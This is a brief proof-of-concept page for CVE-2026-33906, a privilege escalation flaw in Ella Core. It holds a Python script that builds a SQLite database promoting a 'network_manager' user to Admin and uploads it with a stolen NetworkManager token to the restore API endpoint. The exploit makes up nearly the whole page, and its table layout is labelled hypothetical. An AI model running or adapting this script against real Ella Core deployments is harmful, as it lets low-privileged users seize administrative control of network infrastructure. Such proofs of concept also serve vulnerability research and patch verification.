CVE-2026-33906 Ella Core权限提升漏洞

import sqlite3 import requests # 1. Create a malicious SQLite database # Assume the 'users' table stores role information conn = sqlite3.connect('malicious_backup.db') cursor = conn.cursor() # Create a dummy users table structure (hypothetical) cursor.execute('''CREATE TABLE IF NOT EXISTS users (username TEXT, role TEXT)''') # Insert or update the attacker's controlled user to Admin role cursor.execute("INSERT OR REPLACE INTO users (username, role) VALUES ('network_manager', 'Admin')") conn.commit() conn.close() # 2. Upload the malicious database to the restore endpoint # Attacker needs a valid NetworkManager session token target_url = "https://<ella-core-host>/api/v1/restore" auth_token = "<VALID_NETWORK_MANAGER_TOKEN>" headers = { "Authorization": f"Bearer {auth_token}" } files = { 'file': ('backup.db', open('malicious_backup.db', 'rb'), 'application/x-sqlite3') } response = requests.post(target_url, headers=headers, files=files) if response.status_code == 200: print("[+] Database restored successfully. Privilege escalation likely achieved.") else: print(f"[-] Failed to restore database. Status code: {response.status_code}")